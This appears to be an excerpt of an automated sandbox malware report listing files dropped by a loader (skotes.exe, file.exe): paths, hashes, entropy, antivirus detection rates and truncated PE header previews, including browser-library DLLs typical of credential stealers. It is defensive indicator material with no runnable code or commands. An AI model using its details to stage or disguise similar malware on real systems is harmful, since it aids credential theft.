Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.G.q.9.J.Z.w.5.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.j.E.o.B.b.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9084515153365924
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x2xl9Il8uSz0L4y5/xJz4Os5NLvQS9FeYATWd/vc:acYW0L4yhv0x359ZATz
MD5:	DA8F701A5DCF1FC012AEABDB14CF83CB
SHA1:	FF4BB5FD8032F1FE55399B8E0AF4C618583F39CE
SHA-256:	1B978BC1C3079F16454F5FDA19346D93A41DB7067CF17A521EB8F1C7EEA6688B
SHA-512:	D7FBE5649ABB71867AAD27824DC84F32847AF6307F4AFD4C38C700C8CAE5703FB1DC1581F0C89EE48FAC452DD9E0B469D3E1F6841B3579FCFAA639488CB2684E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".8.N.K./.V.W.1.Y.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.P.j.E.o.B.b.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4449792
Entropy (8bit):	7.985291638752032
Encrypted:	false
SSDEEP:	98304:l5PBm/JegvH+mokBbmL7e9AMfpEWNl6pl4heOyydWmBL/uTu08e3:nP8hTvemokBAZMsl4heLypuTu0j3
MD5:	277F5FBCA9AEC3C4207DBFE1DB4DB5E2
SHA1:	1DD968299F3F657BEE6B883C9DBF551B408FFF0A
SHA-256:	01948F54D7FD507A58778C42B07FF1422A4895E4596CC1C6D2FC74C49DCD643E
SHA-512:	2BFDE7F44469EE9F0341C9B40DBF0C774FFA88773D268126E7A80DE57AEDD85DC1993B8C649013A196D0A974754DE2C13F55EA5EE3ACB047C7AA924DAF518400
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2... ........H...@..........................P........D...@... ............................._pe.s...........................................................<....................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... .P9...e......~'.............@...txzlxcxt.@......@....'.............@...qrlkglyz..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.434115746896081
Encrypted:	false
SSDEEP:	1536:05rRjBSpY2I5ADS35Nc3Kzd4HtGmf4f5onjO2Yj/1rglOt:05rRjBSpY55c6zd4HD4f5onyRr
MD5:	53D8F627CEF3477257DAFF032FBBD212
SHA1:	BF61DEA0DC12648FBEF5E30A0237552ABF81AB47
SHA-256:	EE6DC154CDA66A11E88224CB2DA1A6CBF415D55C06DAAC23AB2E752A9D99F845
SHA-512:	48FAF4EA09CAD004A0E9931E295E156A6A81520C89114C22AF12CB26BD93CCE35C44559480C44083F34AF7661974AB11B7C89D35E46EB68634EEFE19E115CEB9
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ybkcjpak..).......)..:..............@...joqtqtqu. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903104
Entropy (8bit):	7.948658910730749
Encrypted:	false
SSDEEP:	49152:EZCukInn+ihRqLAxLLWnXii1WWwAdw4I5IM0kngh:ofnwExnWyqWWpw4SInkgh
MD5:	1C9BABA3863EB6E2CD1FCFCB0FB31D1F
SHA1:	D3D44D8C18D93BE08804BDC8A98D82C791D9487A
SHA-256:	8BE06AD676B76E25164E3C83E1F5BC69C0CB5417BCEEEE1DC03799B9C7261653
SHA-512:	EB0A3E427CF28C5B41B6ECC63DD133290AB94CFED98F7774C02FD684B7F00633A847DADFE668680B7F6545D63E9A5073B51B4CE6BC820124DFCD5EDE3DB8097F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........PK...........@...........................K.....@.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..+.........................@...ounhvdhk.`....0..X..................@...vwmsxuxs.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.384887150964902
Encrypted:	false
SSDEEP:	96:6NnQKHQjNnQobQINnQM9QY8NnQEvVvQdgEQxNnQjYQ6NnQEDQzNnQY7wQBNnQ/b2:6N0NpNB8NA8N1NBQN/FNWboX
MD5:	305D8F7E19D5BD97EDB3B838CC4AE572
SHA1:	74847C901ACB4FA023F827C5C7AAA9992066BD70
SHA-256:	D56A83F589274CA65A279A3936856478C105F1D553A391234AA0450B74F3993F
SHA-512:	E4ED713AFF4B1BA60D61206CD5123E0E890390982A1D096895C4587E37E1E1D867FB2210AC69990B2005604FEB797DCEDA1F12E4F7AFFC3A0F25F28DC0E706F0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9F6B9924132F32D25EB6ABF7FEE95F28",.. "id": "9F6B9924132F32D25EB6ABF7FEE95F28",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9F6B9924132F32D25EB6ABF7FEE95F28"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8CEDC6C6CBB94B66255701C47E812C95",.. "id": "8CEDC6C6CBB94B66255701C47E812C95",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8CEDC6C6CBB94B66255701C47E812C95"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	921600
Entropy (8bit):	6.59008374151712
Encrypted:	false
SSDEEP:	12288:pqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarTs:pqDEvCTbMWu7rQYlBQcBiT6rprG8avs
MD5:	B651212B079AAAE7A41A35932178135F
SHA1:	1AAB44C321FB93BFDC8C46D2E51A5354BB8D2E08
SHA-256:	E4141CC09EB998A186001BE4FC7FECBA5E718476E6540AD9046CB99FE64FDDAC
SHA-512:	C75C57CBF0F9CC9103514938EF07B7D79AEEBE3509CC6F0ADDEC868F1993423102098B15993BEE1741DF71DCF48D142B2CE7501106D4E1F7101D00006541B10A
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L... .:g.........."..........`......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37167586947334
Encrypted:	false
SSDEEP:	48:SfNaoQxTEQzfNaoQ40AQ4zfNaoQqCFC4QqnfNaoQzq9CC0UrU0U8QzU:6NnQxTEQrNnQ40AQ4rNnQqCFC4QqfNnn
MD5:	59F68652925C0AE931FF69703C4912B8
SHA1:	C02BDE98A6D099481842C5B4B376A4FFC5DBD6AC
SHA-256:	98BA433C4C4F3824CE7392CC6036C83E75B5639B0D5E348682AD4A6C20860DEE
SHA-512:	78A57C7251CABA0F3CE45CF4DD3334C068C11380E59B3269B3C95F8A27057CC79E58F89B85D6DAB3DCAE4A8FC774EAC9F35D8B64031887F6D1124C7C8CD8553E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/61318111EC299DD7A1D57AFA7300D43D",.. "id": "61318111EC299DD7A1D57AFA7300D43D",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/61318111EC299DD7A1D57AFA7300D43D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B3E60C8776898E55CDFFF8F40C54F157",.. "id": "B3E60C8776898E55CDFFF8F40C54F157",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B3E60C8776898E55CDFFF8F40C54F157"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.947511529541578
Encrypted:	false
SSDEEP:	49152:3e5Ebzx7M3UNnCaj92gkM51o8yxW1GgHfW/EG/pG:u5EbO3UNnCk9Dhhr1GMgrp
MD5:	0E21EAF5F28B78B503C0C0C7BE26AD44
SHA1:	F2B76BC2A40747DE4FDFF439900CCAC3D0F93BC7
SHA-256:	CD4CFD58607B5BF73785BC935A34D8AE19CFFED6CEDDC43142AA986809B3BE30
SHA-512:	CB5C26222F71FDDAAB65C606C55318DFECE1BDF77BC9726354D4E78D0A868100DA8068B40362C45C82F41CC97214F371ACF896B7746BE81C3150AB6C4FFE6390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....Qu....@.................................W...k.......H...................,.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...cpijmpsi.@....1..2..................@...lipnutuu..... L......(..............@....taggant.0...0L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1833472
Entropy (8bit):	7.945681720562559
Encrypted:	false
SSDEEP:	49152:zHWrb3KQlw+EIs7emg9hdrpPmrL83W8f7LkWGa:aqJIsc3u83W8HHGa
MD5:	BED918183C456251EB2DEF949E77E958
SHA1:	18CD870F1FE9729E2CA7040C94AE96CB5A06D54F
SHA-256:	85765FAD0F7110797E87C8765FDBA37475435C1E1AC17096D58BADC90C555ACC
SHA-512:	9F544F637CC7AEF92FDBEE0775BC3EEC6C763BBCEA1800711F93EB781BD775726A060B45FE5FB931EB885E04A0ABDEBB7D31F1C4B4325D42E0DE9B989991B3BA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........j...........@...........................j...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .`+...$......v..............@...etqepvsz.`... P..\...x..............@...trlogbdm......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0eefad28-8e70-4c67-b0d6-7667eafe1ee1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4449792
Entropy (8bit):	7.985291638752032
Encrypted:	false
SSDEEP:	98304:l5PBm/JegvH+mokBbmL7e9AMfpEWNl6pl4heOyydWmBL/uTu08e3:nP8hTvemokBAZMsl4heLypuTu0j3
MD5:	277F5FBCA9AEC3C4207DBFE1DB4DB5E2
SHA1:	1DD968299F3F657BEE6B883C9DBF551B408FFF0A
SHA-256:	01948F54D7FD507A58778C42B07FF1422A4895E4596CC1C6D2FC74C49DCD643E
SHA-512:	2BFDE7F44469EE9F0341C9B40DBF0C774FFA88773D268126E7A80DE57AEDD85DC1993B8C649013A196D0A974754DE2C13F55EA5EE3ACB047C7AA924DAF518400
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2... ........H...@..........................P........D...@... ............................._pe.s...........................................................<....................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... .P9...e......~'.............@...txzlxcxt.@......@....'.............@...qrlkglyz..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903104
Entropy (8bit):	7.948658910730749
Encrypted:	false
SSDEEP:	49152:EZCukInn+ihRqLAxLLWnXii1WWwAdw4I5IM0kngh:ofnwExnWyqWWpw4SInkgh
MD5:	1C9BABA3863EB6E2CD1FCFCB0FB31D1F
SHA1:	D3D44D8C18D93BE08804BDC8A98D82C791D9487A
SHA-256:	8BE06AD676B76E25164E3C83E1F5BC69C0CB5417BCEEEE1DC03799B9C7261653
SHA-512:	EB0A3E427CF28C5B41B6ECC63DD133290AB94CFED98F7774C02FD684B7F00633A847DADFE668680B7F6545D63E9A5073B51B4CE6BC820124DFCD5EDE3DB8097F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........PK...........@...........................K.....@.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..+.........................@...ounhvdhk.`....0..X..................@...vwmsxuxs.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1833472
Entropy (8bit):	7.945681720562559
Encrypted:	false
SSDEEP:	49152:zHWrb3KQlw+EIs7emg9hdrpPmrL83W8f7LkWGa:aqJIsc3u83W8HHGa
MD5:	BED918183C456251EB2DEF949E77E958
SHA1:	18CD870F1FE9729E2CA7040C94AE96CB5A06D54F
SHA-256:	85765FAD0F7110797E87C8765FDBA37475435C1E1AC17096D58BADC90C555ACC
SHA-512:	9F544F637CC7AEF92FDBEE0775BC3EEC6C763BBCEA1800711F93EB781BD775726A060B45FE5FB931EB885E04A0ABDEBB7D31F1C4B4325D42E0DE9B989991B3BA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
